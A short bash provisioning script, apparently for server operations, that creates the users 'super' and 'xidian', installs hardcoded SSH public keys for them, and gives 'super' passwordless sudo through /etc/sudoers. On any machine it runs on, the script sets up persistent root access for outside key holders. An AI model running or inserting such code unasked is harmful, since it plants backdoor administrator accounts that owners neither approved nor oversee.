#!/bin/bash
# --------------------------------------------------
#Author:  LJ
#Email:   admin@attacker.club

#Last Modified: 2019-06-17 15:56:19
#Description:
# --------------------------------------------------





Push_key ()


{
        adduser super
        sudo su - super -c 'mkdir -p /home/super/.ssh'
        sudo echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7bguGgUjaeTLY1EO69yXpHjKi+PnRtbbgE4YenOqv9ZPD9YI/DLks81HXNb0E+g3dSRDKh3cFjyc8bWln601bigvynaLWIBG3GCGHYunvP8JkKUw1eXV+vfskQhRyJnBKCKcHG0syNu2t3eNtAlhRBq/vEYLdf5JaA6wrBwwL+FZpUOoIcD5DtVnAmz/COUitG4D6i+PTX6SX8gz0+Vfv3OT1kWnEvvCa2k662bwMJMJtlt4l0W3O/5iGAKdz/kvcrawqJnIMCN4EIswgibOgGtHLctmCDlZIoDNuOroQ+wEzfAJSgNhAsQUDZC4Saur5CFWXoW7fPM/5yQLWNrMt root@ops-base">>/home/super/.ssh/authorized_keys

    chown super.super /home/super/.ssh/authorized_keys
        chmod 700 /home/super/.ssh ;chmod 600 /home/super/.ssh/authorized_keys


(grep "super" -lr /etc/sudoers)||cat >> /etc/sudoers << EOF
super ALL=(ALL) NOPASSWD: ALL
Defaults:super !requiretty
EOF


useradd xidian
        su - xidian -c 'mkdir -p /home/xidian/.ssh'
        su - xidian -c "echo >/home/xidian/.ssh/authorized_keys"
        echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWX0z3BbdBFh+znkr0cONc/uqTlaAWOzIf+U3yz/dlOKPyauRq7mJHw9h/Xdua5iOpDwmLf+HvtFy8bFV7MV7WuwRcUPnkInLbBCMs6TDtis7foZ9DnV2UyQCkol8SUvkugthRW1PeDwHnf60zrOpymsvz6qIZfcb5HtjHemSCn66VNacbbtwZPlOIW6lLZmwzUdIZLh7gOgoKHvkdGvQyaT4Fjzdn7B2FYiGBHq2UCn95S8oaRWh2Jcy8+KsPycSqGzLAgHmpXzeZwRmuZrLEXEXu6OIHxWNphAvASFQBfm9D59N560Pd0SSqbyJzk2mgSSKi/t6Dlxz5ckCARAhf root@ops-base ">>/home/xidian/.ssh/authorized_keys
        chmod 700 /home/xidian/.ssh ;chmod 600 /home/xidian/.ssh/authorized_keys
        
}

Push_key
